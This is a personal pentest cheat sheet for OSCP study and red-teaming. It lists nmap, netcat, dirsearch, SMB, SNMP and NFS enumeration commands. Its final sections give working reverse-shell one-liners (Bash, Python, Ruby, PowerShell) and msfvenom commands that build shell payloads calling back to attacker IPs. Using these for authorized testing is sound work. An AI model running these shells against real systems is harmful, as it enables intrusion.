Pentest Cheat Sheet

There are many cheat sheets out there, but this is mine. It's a work in progress right now, and lives as a rought draft that's updated a lot, at times. I started this while I was studying for my OSCP, but it's now evolving to include more practical things that I need as a red teamer. The new additions will most likely be of no use on the exam, and may even include tools that are banned.

Recon

Very incomplete...

Linux Local

find / -name flag.txt to find files by name.

grep -R "flag40" / -s -n loot for string in files, recursively searching them from the root directory, no error output.

Windows Local

dir /s flag.txt to find files in current directory and subdirectories named flag.txt.

Active Directory

A useful tool -> wadcoms.github.io

Port Scanning

nmap

nmap -sn 10.11.1.0/24 network sweep to find hosts.

  • nmap -sn 10.11.1.0/24 -oG - | awk '/Up$/{print $2}' > list_ips.txt sweep network for IP's that are up, and save the IP addresses in a list.

nmap -A 10.10.10.10 for a quick scan of common TCP ports with OS and service detection.

nmap -A 10.10.10.10 -p- to scan all TCP ports with OS and service detection.

nmap -A -sU 10.10.10.10 to scan all UDP ports with OS and service detection.

sudo nmap -O -A -sV 10.10.10.10 to scan all common TCP ports, finger print the OS, run scrips and grab banners.

Through Proxychains

proxychains nmap -Pn -sT 10.10.10.10 -v because ICMP/UDP scans don't work.

Netcat

The -w flag to specify timeout in seconds and -z flag to send zero data (for scanning)

nc -nvv -w 1 -z 10.11.1.220 3388-3390 TCP scan from ports 3388-3390.

nc -nv -u -z -w 1 10.11.1.115 160-162 UDP scan from ports 160-162.

Directory Enumeration

Gobuster

  • Directory busting example gobuster dir -u http://10.1.1.27 -w /usr/share/wordlists/dirb/big.txt.

I like dirsearch also.

Useful wordlists on Kali

kali@kali:~/Tools/dirsearch$ ls /usr/share/wordlists
dirb  dirbuster  fasttrack.txt  fern-wifi  metasploit  nmap.lst  rockyou.txt  rockyou.txt.gz  wfuzz
kali@kali:~/Tools/dirsearch$ ls /usr/share/seclists
Discovery  Fuzzing  IOCs  Miscellaneous  Passwords  Pattern-Matching  Payloads  README.md  Usernames  Web-Shells
kali@kali:~/Tools/dirsearch$ 

python3 dirsearch.py -u http://10.11.1.44 -t 100 -e php,gzip,tar,txt -w /usr/share/wordlists/dirb/big.txt -r directory enum with dirb's big.txt, copy/paste and just IP/URL and extensions.

python3 dirsearch.py -u http://10.11.1.44 -t 100 -e php,gzip,tar,txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r directory enum with dirbuster's directory list, copy/paste and just IP/URL and extensions.

python3 dirsearch.py -u http://10.11.1.71 -t 100 -e cgi -w /usr/share/seclists/Discovery/Web-Content/CGIs.txt -r, brute force CGI's.

Enumerate shared folders (rsync)

An rsync module is essentially a directory share. These modules can optionally be protected by a password. This options lists the available modules and, optionally, determines if the module requires a password to access**:**

nmap -sV --script "rsync-list-modules" -p <PORT> <IP>

SMB Enumeration

Manual

smbclient -L 10.11.1.146 To list availble shares

smbclient //10.11.1.146/IPC$ to login to that share. If that doesn't work, try to sudo... sudo smbclient //10.11.1.146/IPC$

Automated

enum4linux 10.11.1.146 -a -o to use enum4linux to automate smb share.

RPC Enumeration

If you can connect with Null logon -> rpcclient -U '' -N forest.htb.

Good Article
Another Good One

NFS

showmount -e 10.10.10.10 to see available mounts mount -t nfs 10.10.10.10:/ /tmp -o nolock to mount the root, or whatever folder.

SNMP Enumeration

onesixtyone -c community -i ips scan target network to identify SNMP servers where community and ips are lists community = (public, private, manager).

snmp-check 10.11.1.227 does everything below, but better and formats it for you nicely :)

snmpwalk -c public -v1 -t 10 10.11.1.115 enumerate entire MIB tree.

snmpwalk -c public -v1 10.11.1.14 1.3.6.1.4.1.77.1.2.25 enumerate Windows users.

snmpwalk -c public -v1 10.11.1.73 1.3.6.1.2.1.25.4.2.1.2 enumerate Windows running processes.

snmpwalk -c public -v1 10.11.1.14 1.3.6.1.2.1.6.13.1.3 enumerate open TCP ports.

snmpwalk -c public -v1 10.11.1.50 1.3.6.1.2.1.25.6.3.1.2 enumerate installed software.

Reverse Shells

Bash

/bin/bash -i >& /dev/tcp/192.168.119.137/1337 0>&1

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.10.14.3",8081).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

PowerShell

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.119.137',1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Listeners

Netat

nc -lvp 4444 listen (catch) reverse shell with Netcat on port 4444

Span TTY Shell

python -c 'import pty; pty.spawn("/bin/bash")' or python3 -c 'import pty; pty.spawn("/bin/bash")'

MSFVenom

ASP

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.137 LPORT=4444 -f asp > shell.asp

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.119.137 LPORT=4444 -f war > shell.war

JSP

This also works for Cold Fusion instead of the crazy web shell msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.119.137 LPORT=4444 -f raw > shell.jsp

Linux Binary

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.49.133 LPORT=443 -f elf > shell.elf
